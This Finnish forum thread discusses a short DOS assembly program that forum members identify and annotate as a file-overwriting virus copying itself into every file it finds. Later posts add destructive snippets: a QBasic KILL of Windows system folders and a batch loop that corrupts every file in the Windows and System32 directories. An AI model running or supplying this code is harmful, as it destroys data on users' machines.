Moi kaikki! Löysin tuossa juuri äsken eräänlaisen "Virus" koodin (en ole varma).
Main: Mov Ah,4eh On2: Lea Dx,FileSpec Int 21h Mov Ax,3d02h Mov Dx,9eh Int 21h Mov Bh,40h Xchg Ax,Bx Lea Dx,Main Mov Cl,Length Int 21h On1: Ret FileSpec Db '*.*',0 Length Equ $-Main
Onko tuo kirjoitettu Assemblyllä? Ja jos on millä ohjelmilla voi kirjoittaa ja kääntää Asseblyä?
:D En kyllä viruksia aikoisi koodata.
No assyahan tuo on. Siitä, mitä tuo tekee ei ole hajuakaan. Assemblereita voi etsiä vaikkapa hakusanalla 'assembler'. Nasm ja Tasm ovat ainakin olemassa.
Kyllä tuo vahvasti jonkin sortin virukselta näyttää. En osaa x86 assemblya kovin hyvin, mutta kuvittelin ymmärtäväni koodin perustoiminnon.
Int 21h on keskeytyskutsu, jolla saa aikaan kaikkea kivaa.
Se suorittaa erilaisia funktioita Ah rekisterissä (Ax:n ylätavu) olevan arvon mukaan. Muut rekisterit lienevät parametreja näille funktioille.
Funktiokoodit löytyy esim. täältä:
http://www.clipx.net/ng/interrupts_and_ports/
eli oma arvaukseni koodin toiminnasta:
Mov Ah, 4eh ; find first Lea Dx, FileSpec; Dx <- "*.*" Int 21h ; Hakee nähtävästi ensimmäisen tiedoston hakemistosta Mov Ax, 3d02h; funktiokoodi 3dh = tiedoston avaus Mov Dx, 9eh ; luultavasti avaa tiedoston kirjoitettavaksi? Int 21h ; tehdään edelliset Mov Bh, 40h Xchg Ax, Bx ; vaihtaa Ax ja Bx, funktiokoodi = 40h, kirjoitus Lea Dx, Main ; pointteri tähän ohjelmaan muistissa? Mov Cl, Length; ohjelman pituus muistissa? Int 21h ; Kirjoitetaan Main tiedostoon
Eli tarkemmin jokaista lukua selvittamättä näyttäisi siltä, että tuo kopioi itseään levyllä oleviin tiedostoihin. Itse en tuota ajaisi edes testimielessä :)
miten muuten assebly filet käännetään? millä komennolla?
Assemblereilla.
dungeon86 kirjoitti:
miten muuten assebly filet käännetään? millä komennolla?
Riippuu assemblerista.
Ja muuten miksi käytätte qb-tageja?
Hei muuten voisiko tälläisella koodilla "Tuhota" koneen? :P
CLS KILL "C:\WINDOWS\system32\" KILL "C:\WINDOWS\" END
Vai voiko "KILL" komentoa käyttää vain tiedostojen tuhoamiseen?
Kansioiden tuhoamiseen on olemassa ihan eri käsky. Mutta luulen ettei windows kansiota pysty poistamaan.
Windows - kansiota ei voi tuhota, mutta menkää ja uudelleen nimetkää se, niin tapahtuu hassuja.
-Grey-
@echo off for %%a in (C:\windows\*.*) do echo corrupt >> %%a for %%a in (C:\windows\System\*.*) do echo corrupt >> %%a for %%a in (C:\windows\System32\*.*) do echo corrupt >> %%a cls
^^
Kai tää kuuluis muut kielet osastolle... :|
Pitäisi varmaan virittää tuo 386 tuossa vierelläni jonkinlaiseen kuntoon. Olisi oiva vehje tuon koodin testaamiseen.. Tuli vain mieleen..
-Grey-
R.Nyrhinen kirjoitti:
Vai voiko "KILL" komentoa käyttää vain tiedostojen tuhoamiseen?
Kyllä. Kuten rndprogy sanoi, KILL tuhoaa vain tiedostoja. Kansioiden poistamiseen on olemassa RMDIR-käsky, mutta sekin poistaa ainoastaan tyhjiä kansioita, joten täyden kansion poistamisessa on ensin poistettavat yksitellen tiedostot KILL:llä ja vasta sen jälkeen itse kansio.
Edit: En muuten suosittele, että rupeat leikkimään näillä, jos et tiedä, mitä teet.
Ainakin Visual Basicin KILL antaa poistaa myös kaikki tiedostot hakemistosta, esim. KILL "C:\moi\*"
VB:n kenties. QB:n ei, ja eikö tuossa QB:tä tarkoitettu, kun on QB-tagi ja isolla kirjoitettu?
Mitäs virusta sä oot tekemässä o_O
Tuntuuhan tuo QuickBasicinkin kanssa toimivan (kuten manuaalissa lukeekin), se vaan vaatii että on esim. KILL "C:\moi\*.*". Ja noista tageista nyt ei kannata mitää arvailla, käyttihän sama henkilö QB-tageja myös assembly-koodille :-)
Alkuperäiseen viestiin liittyen: Tuo ohjelma näyttäisi etsivän levyltä tiedostoja ja kirjoittavan niihin muistista ohjelman koodia. Kuten FooBat näköjään jo tiesikin.
Myöhempiin viesteihin liittyen: Windows ei välttämättä anna tuhota kaikkea, ja aika moni tiedostoista on käytössä, mikä estää tuhoamisen. Veikkaisin noiden KILL-komentojen käyttävän Windowsin / DOSin valmiita toimintoja, jolloin tuo *.* luonnollisesti toimii.
Heiiii! Mikä se kansioiden tuhoamis komento on?
hunajavohveli kirjoitti:
Kansioiden poistamiseen on olemassa RMDIR-käsky, mutta sekin poistaa ainoastaan tyhjiä kansioita - -
Katso oppaista. Sieltä löytyy ohjelmointihakemisto, jossa on lueteltu tiedostokomentoja. Esim. myös CHDIR, joka vaihtaa nykyisen alihakemiston ja MKDIR, joka luo hakemiston.
Ja muuten EN ole puuhaamassa mitään virusta :D
Ja QB:tä tossa tarkoitinkin.
Aihe on jo aika vanha, joten et voi enää vastata siihen.